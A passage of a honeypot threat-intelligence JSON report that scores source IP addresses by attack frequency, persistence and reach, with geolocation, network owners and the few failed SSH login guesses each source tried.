    "106.12.86.145": {
      "attack_count": 5,
      "first_seen": "2026-03-05T22:14:26.205Z",
      "last_seen": "2026-03-05T22:16:26.944Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T22:14:26.205000+00:00",
        "last_seen_30d": "2026-03-05T22:27:27.545000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "172.94.9.160": {
      "attack_count": 5,
      "first_seen": "2026-03-06T02:46:21.414Z",
      "last_seen": "2026-03-06T02:46:23.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!2026kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:15:01.742000+00:00",
        "last_seen_30d": "2026-03-06T02:47:29.529000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "180.76.202.69": {
      "attack_count": 5,
      "first_seen": "2026-03-02T20:32:48.732Z",
      "last_seen": "2026-03-02T20:32:51.532Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Zxc123123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:32:48.732000+00:00",
        "last_seen_30d": "2026-03-02T20:33:59.054000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.146": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:02:39.995Z",
      "last_seen": "2026-03-11T00:02:42.662Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "240790"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:02:39.995000+00:00",
        "last_seen_30d": "2026-03-11T00:03:48.484000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.61": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:04:21.434Z",
      "last_seen": "2026-03-11T00:04:23.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "160584"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:04:21.434000+00:00",
        "last_seen_30d": "2026-03-11T00:05:26.050000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "64.62.197.152": {
      "attack_count": 5,
      "first_seen": "2026-03-25T06:59:16.441Z",
      "last_seen": "2026-03-25T06:59:16.591Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 318,
        "days_active_30d": 30,
        "ports_targeted_30d": 97,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T03:19:46+00:00",
        "last_seen_30d": "2026-03-31T14:20:33.038000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 190,
        "Honeytrap": 98,
        "Redishoneypot": 11,
        "ConPot": 6,
        "Cowrie": 5,
        "Adbhoney": 4,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1
      }
    },
    "103.169.65.64": {
      "attack_count": 4,
      "first_seen": "2026-03-23T06:32:06.799Z",
      "last_seen": "2026-03-25T02:50:09.417Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Quetta",
      "asn": 142552,
      "as_org": "KCN",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T06:32:06.799000+00:00",
        "last_seen_30d": "2026-03-25T02:51:14.473000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "122.97.214.252": {
      "attack_count": 4,
      "first_seen": "2026-03-11T04:50:42.285Z",
      "last_seen": "2026-03-11T04:51:07.931Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shaoguan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:50:42.285000+00:00",
        "last_seen_30d": "2026-03-11T04:52:11.180000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.138": {
      "attack_count": 4,
      "first_seen": "2026-03-08T10:37:25.573Z",
      "last_seen": "2026-03-08T10:37:29.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T09:22:28.763000+00:00",
        "last_seen_30d": "2026-03-30T16:37:58.226000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 20,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "195.184.76.160": {
      "attack_count": 4,
      "first_seen": "2026-03-04T00:11:14.538Z",
      "last_seen": "2026-03-04T00:11:15.213Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 88.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T07:57:45.644000+00:00",
        "last_seen_30d": "2026-03-31T22:48:38.466000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 157,
        "Honeytrap": 59,
        "Cowrie": 4,
        "Dionaea": 4
      }
    },
    "20.40.209.173": {
      "attack_count": 4,
      "first_seen": "2026-03-13T22:15:16.853Z",
      "last_seen": "2026-03-13T22:15:27.389Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 60.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 20.0,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 24,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T04:05:35+00:00",
        "last_seen_30d": "2026-03-29T22:44:42.785000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 9,
        "Cowrie": 4
      }
    },
    "206.168.34.35": {
      "attack_count": 4,
      "first_seen": "2026-03-21T16:59:39.590Z",
      "last_seen": "2026-03-21T16:59:54.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 51.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.1,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 20,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T01:46:00+00:00",
        "last_seen_30d": "2026-03-21T17:01:02.673000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 88,
        "Honeytrap": 35,
        "Cowrie": 4,
        "Tanner": 3
      }
    },
    "91.230.168.176": {
      "attack_count": 4,
      "first_seen": "2026-03-24T21:08:12.426Z",
      "last_seen": "2026-03-24T21:08:13.646Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T10:38:42+00:00",
        "last_seen_30d": "2026-03-31T07:41:45.240000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 41,
        "Cowrie": 4,
        "Ciscoasa": 1
      }
    },
    "121.43.125.129": {
      "attack_count": 3,
      "first_seen": "2026-03-20T16:25:46.872Z",
      "last_seen": "2026-03-20T16:26:48.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 14.2,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 17,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T05:46:17.055000+00:00",
        "last_seen_30d": "2026-03-20T16:28:49.389000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "176.65.139.34": {
      "attack_count": 3,
      "first_seen": "2026-03-19T08:54:41.247Z",
      "last_seen": "2026-03-19T08:54:43.051Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T06:21:01.932000+00:00",
        "last_seen_30d": "2026-03-20T07:36:19.832000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3
      }
    },
    "184.105.247.194": {
      "attack_count": 3,
      "first_seen": "2026-03-18T03:55:15.150Z",
      "last_seen": "2026-03-18T03:55:15.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 30,
        "ports_targeted_30d": 65,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T00:49:57+00:00",
        "last_seen_30d": "2026-03-31T15:23:45.655000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 100,
        "Mailoney": 12,
        "Cowrie": 3,
        "Tanner": 3,
        "ConPot": 2,
        "Dionaea": 2
      }
    },
    "101.235.199.67": {
      "attack_count": 2,
      "first_seen": "2026-03-07T02:05:38.855Z",
      "last_seen": "2026-03-07T02:05:53.017Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 7562,
      "as_org": "HCN Dongjak",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:05:38.855000+00:00",
        "last_seen_30d": "2026-03-07T02:07:00.972000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.71.39.107": {
      "attack_count": 2,
      "first_seen": "2026-03-06T11:10:38.240Z",
      "last_seen": "2026-03-06T11:10:51.039Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:10:38.240000+00:00",
        "last_seen_30d": "2026-03-06T11:11:58.581000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.152.52.116": {
      "attack_count": 2,
      "first_seen": "2026-03-30T15:26:28.825Z",
      "last_seen": "2026-03-30T15:26:29.044Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 62.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.3,
        "persistence": 24.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 29,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:29:43.246000+00:00",
        "last_seen_30d": "2026-03-30T15:27:30.712000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Dionaea": 9,
        "Cowrie": 2
      }
    },
    "109.198.29.209": {
      "attack_count": 2,
      "first_seen": "2026-03-14T06:13:06.681Z",
      "last_seen": "2026-03-14T06:13:23.890Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Smederevo",
      "asn": 8400,
      "as_org": "TELEKOM SRBIJA a.d.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T06:13:06.681000+00:00",
        "last_seen_30d": "2026-03-14T06:14:27.807000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.37.81.245": {
      "attack_count": 2,
      "first_seen": "2026-03-22T18:06:12.369Z",
      "last_seen": "2026-03-22T18:06:27.210Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:06:12.369000+00:00",
        "last_seen_30d": "2026-03-22T18:07:30.852000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.253.6.123": {
      "attack_count": 2,
      "first_seen": "2026-03-29T18:04:20.891Z",
      "last_seen": "2026-03-29T18:04:34.888Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Chang-hua",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T18:04:20.891000+00:00",
        "last_seen_30d": "2026-03-29T18:05:45.162000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.61.193.226": {
      "attack_count": 2,
      "first_seen": "2026-03-24T11:34:44.290Z",
      "last_seen": "2026-03-24T11:34:57.707Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zaoqiang",
      "asn": 24547,
      "as_org": "Hebei Mobile Communication Company Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T11:34:44.290000+00:00",
        "last_seen_30d": "2026-03-24T11:36:02.036000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.210.52.62": {
      "attack_count": 2,
      "first_seen": "2026-03-19T23:00:17.398Z",
      "last_seen": "2026-03-19T23:00:32.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T23:00:17.398000+00:00",
        "last_seen_30d": "2026-03-19T23:01:39.387000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.172.46.240": {
      "attack_count": 2,
      "first_seen": "2026-03-04T15:16:34.721Z",
      "last_seen": "2026-03-04T15:16:53.498Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:16:34.721000+00:00",
        "last_seen_30d": "2026-03-04T15:18:02.067000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.157.240.108": {
      "attack_count": 2,
      "first_seen": "2026-03-18T03:00:33.000Z",
      "last_seen": "2026-03-18T03:00:47.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T03:00:33+00:00",
        "last_seen_30d": "2026-03-18T03:01:55.858000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.221.236.23": {
      "attack_count": 2,
      "first_seen": "2026-03-27T07:30:01.722Z",
      "last_seen": "2026-03-27T07:30:14.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ouricuri",
      "asn": 264439,
      "as_org": "OuriNet TELECOM",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T07:30:01.722000+00:00",
        "last_seen_30d": "2026-03-27T07:31:19.185000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.64.237.224": {
      "attack_count": 2,
      "first_seen": "2026-03-15T21:36:10.078Z",
      "last_seen": "2026-03-15T21:36:10.079Z",
      "sessions": 1,
